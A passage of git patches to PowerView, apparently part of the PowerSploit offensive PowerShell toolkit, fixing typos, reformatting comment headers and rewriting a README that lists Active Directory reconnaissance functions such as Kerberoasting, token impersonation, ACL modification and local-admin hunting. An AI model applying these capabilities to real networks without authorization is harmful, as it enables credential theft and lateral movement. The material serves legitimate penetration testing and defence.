Get-DomainGPOUserLocalGroupMapping Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMappin Set-Alias Get-LoggedOnLocal Get-RegLoggedOn -Set-Alias Test-AdminAccess Invoke-CheckLocalAdminAccess +Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess Set-Alias Get-SiteName Get-NetComputerSiteName Set-Alias Get-Proxy Get-WMIRegProxy Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn From 6aca12a956452ca40168c71303032c8a80ebf0b4 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 20:36:42 -0500 Subject: [PATCH 205/296] Typo correction and Recon README.md update --- Recon/PowerView.ps1 | 12 ++-- Recon/README.md | 164 +++++++++++++++++++++----------------------- Recon/Recon.psd1 | 2 +- 3 files changed, 87 insertions(+), 91 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index af2d36d0..91484d89 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -8642,7 +8642,7 @@ function Get-DomainGroupMember { <# .SYNOPSIS -Return the memberes of a specific domain group. +Return the members of a specific domain group. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause @@ -11635,7 +11635,7 @@ function Get-NetLocalGroup { <# .SYNOPSIS -Eunmerates the local groups on the local (or remote) machine. +Enumerates the local groups on the local (or remote) machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause @@ -11815,7 +11815,7 @@ function Get-NetLocalGroupMember { <# .SYNOPSIS -Eunmerates members of a specific local group on the local (or remote) machine. +Enumerates members of a specific local group on the local (or remote) machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause @@ -13594,7 +13594,7 @@ function Get-WMIProcess { <# .SYNOPSIS -Gets a list of processes and their owners on the local or remote machine +Returns a list of processes and their owners on the local or remote machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause @@ -14069,7 +14069,7 @@ function Find-DomainUserLocation { <# .SYNOPSIS -Finds domains machines where specific users are logged into. +Finds domain machines where specific users are logged into. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause @@ -17758,7 +17758,7 @@ function Get-DomainTrustMapping { <# .SYNOPSIS -This function enumeartes all trusts for the current domain and then enumerates +This function enumerates all trusts for the current domain and then enumerates all trusts for each domain it finds. Author: Will Schroeder (@harmj0y) diff --git a/Recon/README.md b/Recon/README.md index 6e28a302..acc2627a 100644 --- a/Recon/README.md +++ b/Recon/README.md @@ -34,96 +34,92 @@ an array of hosts from the pipeline. ### Misc Functions: Export-PowerViewCSV - thread-safe CSV append - Set-MacAttribute - Sets MAC attributes for a file based on another file or input (from Powersploit) - Copy-ClonedFile - copies a local file to a remote location, matching MAC properties - Get-IPAddress - resolves a hostname to an IP - Test-Server - tests connectivity to a specified server - Convert-NameToSid - converts a given user/group name to a security identifier (SID) - Convert-SidToName - converts a security identifier (SID) to a group/user name - Convert-NT4toCanonical - converts a user/group NT4 name (i.e. dev/john) to canonical format - Get-Proxy - enumerates local proxy settings + Resolve-IPAddress - resolves a hostname to an IP + ConvertTo-SID - converts a given user/group name to a security identifier (SID) + Convert-ADName - converts object names between a variety of formats + ConvertFrom-UACValue - converts a UAC int value to human readable form + Add-RemoteConnection - pseudo "mounts" a connection to a remote path using the specified credential object + Remove-RemoteConnection - destroys a connection created by New-RemoteConnection + Invoke-UserImpersonation - creates a new "runas /netonly" type logon and impersonates the token + Invoke-RevertToSelf - reverts any token impersonation + Get-DomainSPNTicket - request the kerberos ticket for a specified service principal name (SPN) + Invoke-Kerberoast - requests service tickets for kerberoast-able accounts and returns extracted ticket hashes Get-PathAcl - get the ACLs for a local/remote file path with optional group recursion - Get-UserProperty - returns all properties specified for users, or a set of user:prop names - Get-ComputerProperty - returns all properties specified for computers, or a set of computer:prop names - Find-InterestingFile - search a local or remote path for files with specific terms in the name - Invoke-CheckLocalAdminAccess - check if the current user context has local administrator access to a specified host - Get-DomainSearcher - builds a proper ADSI searcher object for a given domain - Get-ObjectAcl - returns the ACLs associated with a specific active directory object - Add-ObjectAcl - adds an ACL to a specified active directory object - Get-LastLoggedOn - return the last logged on user for a target host - Get-CachedRDPConnection - queries all saved RDP connection entries on a target host - Invoke-ACLScanner - enumerate -1000+ modifable ACLs on a specified domain - Get-GUIDMap - returns a hash table of current GUIDs -> display names - Get-DomainSID - return the SID for the specified domain - Invoke-ThreadedFunction - helper that wraps threaded invocation for other functions - - -### net * Functions: - Get-NetDomain - gets the name of the current user's domain - Get-NetForest - gets the forest associated with the current user's domain - Get-NetForestDomain - gets all domains for the current forest - Get-NetDomainController - gets the domain controllers for the current computer's domain - Get-NetUser - returns all user objects, or the user specified (wildcard specifiable) - Add-NetUser - adds a local or domain user - Get-NetComputer - gets a list of all current servers in the domain - Get-NetPrinter - gets an array of all current computers objects in a domain - Get-NetOU - gets data for domain organization units - Get-NetSite - gets current sites in a domain - Get-NetSubnet - gets registered subnets for a domain - Get-NetGroup - gets a list of all current groups in a domain - Get-NetGroupMember - gets a list of all current users in a specified domain group - Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts - Add-NetGroupUser - adds a local or domain user to a local or domain group - Get-NetFileServer - get a list of file servers used by current domain users - Get-DFSshare - gets a list of all distribute file system shares on a domain - Get-NetShare - gets share information for a specified server - Get-NetLoggedon - gets users actively logged onto a specified server - Get-NetSession - gets active sessions on a specified server - Get-NetRDPSession - gets active RDP sessions for a specified server (like qwinsta) - Get-NetProcess - gets the remote processes and owners on a remote server - Get-UserEvent - returns logon or TGT events from the event log for a specified host - Get-ADObject - takes a domain SID and returns the user, group, or computer - object associated with it - Set-ADObject - takes a SID, name, or SamAccountName to query for a specified - domain object, and then sets a specified 'PropertyName' to a - specified 'PropertyValue' + + +### Domain/LDAP Functions: + Get-DomainDNSZone - enumerates the Active Directory DNS zones for a given domain + Get-DomainDNSRecord - enumerates the Active Directory DNS records for a given zone + Get-Domain - returns the domain object for the current (or specified) domain + Get-DomainController - return the domain controllers for the current (or specified) domain + Get-Forest - returns the forest object for the current (or specified) forest + Get-ForestDomain - return all domains for the current (or specified) forest + Get-ForestGlobalCatalog - return all global catalogs for the current (or specified) forest + Find-DomainObjectPropertyOutlier- inds user/group/computer objects in AD that have 'outlier' properties set + Get-DomainUser - return all users or specific user objects in AD + New-DomainUser - creates a new domain user (assuming appropriate permissions) and returns the user object + Get-DomainUserEvent - enumerates account logon events (ID 4624) and Logon with explicit credential events + Get-DomainComputer - returns all computers or specific computer objects in AD + Get-DomainObject - returns all (or specified) domain objects in AD + Set-DomainObject - modifies a gven property for a specified active directory object + Get-DomainObjectAcl - returns the ACLs associated with a specific active directory object + Add-DomainObjectAcl - adds an ACL for a specific active directory object + Find-InterestingDomainAcl - finds object ACLs in the current (or specified) domain with modification rights set to non-built in objects + Get-DomainOU - search for all organization units (OUs) or specific OU objects in AD + Get-DomainSite - search for all sites or specific site objects in AD + Get-DomainSubnet - search for all subnets or specific subnets objects in AD + Get-DomainSID - returns the SID for the current domain or the specified domain + Get-DomainGroup - return all groups or specific group objects in AD + New-DomainGroup - creates a new domain group (assuming appropriate permissions) and returns the group object + Get-DomainManagedSecurityGroup - returns all security groups in the current (or target) domain that have a manager set + Get-DomainGroupMember - return the members of a specific domain group + Add-DomainGroupMember - adds a domain user (or group) to an existing domain group, assuming appropriate permissions to do so + Get-DomainFileServer - returns a list of servers likely functioning as file servers + Get-DomainDFSShare - returns a list of all fault-tolerant distributed file systems for the current (or specified) domain ### GPO functions - Get-GptTmpl - parses a GptTmpl.inf to a custom object - Get-NetGPO - gets all current GPOs for a given domain - Get-NetGPOGroup - gets all GPOs in a domain that set "Restricted Groups" - on on target machines - Find-GPOLocation - takes a user/group and makes machines they have effective - rights over through GPO enumeration and correlation - Find-GPOComputerAdmin - takes a computer and determines who has admin rights over it - through GPO enumeration - Get-DomainPolicy - returns the default domain or DC policy + Get-DomainGPO - returns all GPOs or specific GPO objects in AD + Get-DomainGPOLocalGroup - returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences + Get-DomainGPOUserLocalGroupMapping - enumerates the machines where a specific domain user/group is a member of a specific local group, all through GPO correlation + Get-DomainGPOComputerLocalGroupMapping - takes a computer (or GPO) object and determines what users/groups are in the specified local group for the machine through GPO correlation + Get-DomainPolicy - returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller -### User-Hunting Functions: - Invoke-UserHunter - finds machines on the local domain where specified users are logged into, and can optionally check if the current user has local admin access to found machines - Invoke-StealthUserHunter - finds all file servers utilizes in user HomeDirectories, and checks the sessions one each file server, hunting for particular users - Invoke-ProcessHunter - hunts for processes with a specific name or owned by a specific user on domain machines - Invoke-UserEventHunter - hunts for user logon events in domain controller event logs +### Computer Enumeration Functions + + Get-NetLocalGroup - enumerates the local groups on the local (or remote) machine + Get-NetLocalGroupMember - enumerates members of a specific local group on the local (or remote) machine + Get-NetShare - returns open shares on the local (or a remote) machine + Get-NetLoggedon - returns users logged on the local (or a remote) machine + Get-NetSession - returns session information for the local (or a remote) machine + Get-RegLoggedOn - returns who is logged onto the local (or a remote) machine through enumeration of remote registry keys + Get-NetRDPSession - returns remote desktop/session information for the local (or a remote) machine + Test-AdminAccess - rests if the current user has administrative access to the local (or a remote) machine + Get-NetComputerSiteName - returns the AD site where the local (or a remote) machine resides + Get-WMIRegProxy - enumerates the proxy server and WPAD conents for the current user + Get-WMIRegLastLoggedOn - returns the last user who logged onto the local (or a remote) machine + Get-WMIRegCachedRDPConnection - returns information about RDP connections outgoing from the local (or remote) machine + Get-WMIRegMountedDrive - returns information about saved network mounted drives for the local (or remote) machine + Get-WMIProcess - returns a list of processes and their owners on the local or remote machine + Find-InterestingFile - searches for files on the given path that match a series of specified criteria -### Domain Trust Functions: - Get-NetDomainTrust - gets all trusts for the current user's domain - Get-NetForestTrust - gets all trusts for the forest associated with the current user's domain - Find-ForeignUser - enumerates users who are in groups outside of their principal domain - Find-ForeignGroup - enumerates all the members of a domain's groups and finds users that are outside of the queried domain - Invoke-MapDomainTrust - try to build a relational mapping of all domain trusts - - -### MetaFunctions: - Invoke-ShareFinder - finds (non-standard) shares on hosts in the local domain - Invoke-FileFinder - finds potentially sensitive files on hosts in the local domain - Find-LocalAdminAccess - finds machines on the domain that the current user has local admin access to - Find-ManagedSecurityGroups - searches for active directory security groups which are managed and identify users who have write access to - - those groups (i.e. the ability to add or remove members) - Find-UserField - searches a user field for a particular term - Find-ComputerField - searches a computer field for a particular term - Get-ExploitableSystem - finds systems likely vulnerable to common exploits - Invoke-EnumerateLocalAdmin - enumerates members of the local Administrators groups across all machines in the domain +### Threaded 'Meta'-Functions + + Find-DomainUserLocation - finds domain machines where specific users are logged into + Find-DomainProcess - finds domain machines where specific processes are currently running + Find-DomainUserEvent - finds logon events on the current (or remote domain) for the specified users + Find-DomainShare - finds reachable shares on domain machines + Find-InterestingDomainShareFile - searches for files matching specific criteria on readable shares in the domain + Find-LocalAdminAccess - finds machines on the local domain where the current user has local administrator access + Find-DomainLocalGroupMember - enumerates the members of specified local group on machines in the domain + + +### Domain Trust Functions: + Get-DomainTrust - returns all domain trusts for the current domain or a specified domain + Get-ForestTrust - returns all forest trusts for the current forest or a specified forest + Get-DomainForeignUser - enumerates users who are in groups outside of the user's domain + Get-DomainForeignGroupMember - enumerates groups with users outside of the group's domain and returns each foreign member + Get-DomainTrustMapping - this function enumerates all trusts for the current domain and then enumerates all trusts for each domain it finds diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index 64953b0b..6cdcfbaf 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -90,7 +90,7 @@ FunctionsToExport = @( 'Find-DomainShare', 'Find-InterestingDomainShareFile', 'Find-LocalAdminAccess', - 'Get-DomainLocalGroupMember', + 'Find-DomainLocalGroupMember', 'Get-DomainTrust', 'Get-ForestTrust', 'Get-DomainForeignUser', From 7f10db78277a6e6ac9c9c8c85b81bc4847042d78 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 21:00:43 -0500 Subject: [PATCH 206/296] Added spacing to prep for platyPS doc generation. --- Recon/PowerView.ps1 | 498 ++++++++++++++++++++++---------------------- 1 file changed, 249 insertions(+), 249 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 91484d89..32aa10f9 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -859,12 +859,12 @@ function Export-PowerViewCSV { <# .SYNOPSIS -Converts objects into a series of comma-separated (CSV) strings and saves the +Converts objects into a series of comma-separated (CSV) strings and saves the strings in a CSV file in a thread-safe manner. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -984,9 +984,9 @@ function Resolve-IPAddress { Resolves a given hostename to its associated IPv4 address. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -1052,9 +1052,9 @@ function ConvertTo-SID { Converts a given user/group name to a security identifier (SID). -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain .DESCRIPTION @@ -1181,9 +1181,9 @@ function ConvertFrom-SID { Converts a security identifier (SID) to a group/user name. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Convert-ADName +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName .DESCRIPTION @@ -1357,10 +1357,10 @@ function Convert-ADName { Converts Active Directory object names between a variety of formats. -Author: Bill Stewart, Pasquale Lantella -Modifications: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Bill Stewart, Pasquale Lantella +Modifications: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -1600,9 +1600,9 @@ function ConvertFrom-UACValue { Converts a UAC int value to human readable form. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -1756,9 +1756,9 @@ function Get-PrincipalContext { Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext and simplified identity. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .PARAMETER Identity @@ -1851,9 +1851,9 @@ Pseudo "mounts" a connection to a remote path using the specified credential object, allowing for access of remote resources. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect .DESCRIPTION @@ -1955,9 +1955,9 @@ function Remove-RemoteConnection { Destroys a connection created by New-RemoteConnection. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect .DESCRIPTION @@ -2034,9 +2034,9 @@ function Invoke-UserImpersonation { Creates a new "runas /netonly" type logon and impersonates the token. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect .DESCRIPTION @@ -2131,9 +2131,9 @@ function Invoke-RevertToSelf { Reverts any token impersonation. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect .DESCRIPTION @@ -2181,9 +2181,9 @@ function Get-DomainSPNTicket { Request the kerberos ticket for a specified service principal name (SPN). -Author: machosec, Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf +Author: machosec, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION @@ -2350,9 +2350,9 @@ function Invoke-Kerberoast { Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. -Author: Will Schroeder (@harmj0y), @machosec -License: BSD 3-Clause -Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket +Author: Will Schroeder (@harmj0y), @machosec +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket .DESCRIPTION @@ -2522,9 +2522,9 @@ function Get-PathAcl { Enumerates the ACL for a given file path. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID .DESCRIPTION @@ -2699,9 +2699,9 @@ function Convert-LDAPProperty { Helper that converts specific LDAP property result fields and outputs a custom psobject. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -2800,9 +2800,9 @@ function Get-DomainSearcher { Helper used by various functions that builds a custom AD searcher object. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-Domain +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain .DESCRIPTION @@ -3079,9 +3079,9 @@ function Convert-DNSRecord { Helpers that decodes a binary DNS record blob. -Author: Michael B. Smith, Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Michael B. Smith, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -3248,9 +3248,9 @@ function Get-DomainDNSZone { Enumerates the Active Directory DNS zones for a given domain. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .PARAMETER Domain @@ -3390,9 +3390,9 @@ function Get-DomainDNSRecord { Enumerates the Active Directory DNS records for a given zone. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord .DESCRIPTION @@ -3554,9 +3554,9 @@ function Get-Domain { Returns the domain object for the current (or specified) domain. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -3651,9 +3651,9 @@ function Get-DomainController { Return the domain controllers for the current (or specified) domain. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainComputer, Get-Domain +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-Domain .DESCRIPTION @@ -3764,9 +3764,9 @@ function Get-Forest { Returns the forest object for the current (or specified) forest. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: ConvertTo-SID +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertTo-SID .DESCRIPTION @@ -3877,9 +3877,9 @@ function Get-ForestDomain { Return all domains for the current (or specified) forest. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-Forest +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest .DESCRIPTION @@ -3947,9 +3947,9 @@ function Get-ForestGlobalCatalog { Return all global catalogs for the current (or specified) forest. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-Forest +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest .DESCRIPTION @@ -4017,9 +4017,9 @@ Helper that returns the Active Directory schema classes for the current (or specified) forest or returns just the schema class specified by -ClassName X. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-Forest +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest .DESCRIPTION @@ -4122,9 +4122,9 @@ function Find-DomainObjectPropertyOutlier { Finds user/group/computer objects in AD that have 'outlier' properties set. -Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer, Get-ForestSchemaClass +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer, Get-ForestSchemaClass .DESCRIPTION @@ -4379,9 +4379,9 @@ function Get-DomainUser { Return all users or specific user objects in AD. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty .DESCRIPTION @@ -4735,9 +4735,9 @@ Creates a new domain user (assuming appropriate permissions) and returns the use TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-PrincipalContext +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext .DESCRIPTION @@ -4901,9 +4901,9 @@ function Get-DomainUserEvent { Enumerate account logon events (ID 4624) and Logon with explicit credential events (ID 4648) from the specified host (default of the localhost). -Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -5159,9 +5159,9 @@ function Get-DomainGUIDMap { Helper to build a hash table of [GUID] -> resolved names for the current or specified Domain. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainSearcher, Get-Forest +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-Forest .DESCRIPTION @@ -5298,9 +5298,9 @@ function Get-DomainComputer { Return all computers or specific computer objects in AD. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION @@ -5649,9 +5649,9 @@ function Get-DomainObject { Return all (or specified) domain objects in AD. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName .DESCRIPTION @@ -5932,9 +5932,9 @@ function Set-DomainObject { Modifies a gven property for a specified active directory object. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainObject +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject .DESCRIPTION @@ -6229,9 +6229,9 @@ function Get-DomainObjectAcl { Returns the ACLs associated with a specific active directory object. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap .PARAMETER Identity @@ -6515,9 +6515,9 @@ Adds an ACL for a specific active directory object. AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906 -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainObject +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject .DESCRIPTION @@ -6851,9 +6851,9 @@ rights set to non-built in objects. Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName .DESCRIPTION @@ -7088,9 +7088,9 @@ function Get-DomainOU { Search for all organization units (OUs) or specific OU objects in AD. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION @@ -7346,9 +7346,9 @@ function Get-DomainSite { Search for all sites or specific site objects in AD. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION @@ -7600,9 +7600,9 @@ function Get-DomainSubnet { Search for all subnets or specific subnets objects in AD. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION @@ -7861,9 +7861,9 @@ function Get-DomainSID { Returns the SID for the current domain or the specified domain. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainComputer +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer .DESCRIPTION @@ -7948,9 +7948,9 @@ function Get-DomainGroup { Return all groups or specific group objects in AD. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty .DESCRIPTION @@ -8322,9 +8322,9 @@ Creates a new domain group (assuming appropriate permissions) and returns the gr TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-PrincipalContext +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext .DESCRIPTION @@ -8456,9 +8456,9 @@ function Get-DomainManagedSecurityGroup { Returns all security groups in the current (or target) domain that have a manager set. -Author: Stuart Morgan (@ukstufus) , Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl +Author: Stuart Morgan (@ukstufus) , Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl .DESCRIPTION @@ -8644,9 +8644,9 @@ function Get-DomainGroupMember { Return the members of a specific domain group. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID .DESCRIPTION @@ -9180,9 +9180,9 @@ function Add-DomainGroupMember { Adds a domain user (or group) to an existing domain group, assuming appropriate permissions to do so. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-PrincipalContext +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext .DESCRIPTION @@ -9314,9 +9314,9 @@ function Get-DomainFileServer { Returns a list of servers likely functioning as file servers. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-DomainSearcher +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher .DESCRIPTION @@ -9482,9 +9482,9 @@ function Get-DomainDFSShare { Returns a list of all fault-tolerant distributed file systems for the current (or specified) domain. -Author: Ben Campbell (@meatballs__) -License: BSD 3-Clause -Required Dependencies: Get-DomainSearcher +Author: Ben Campbell (@meatballs__) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher .DESCRIPTION @@ -9956,9 +9956,9 @@ function Get-GptTmpl { Helper to parse a GptTmpl.inf policy file path into a hashtable. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent .DESCRIPTION @@ -10059,9 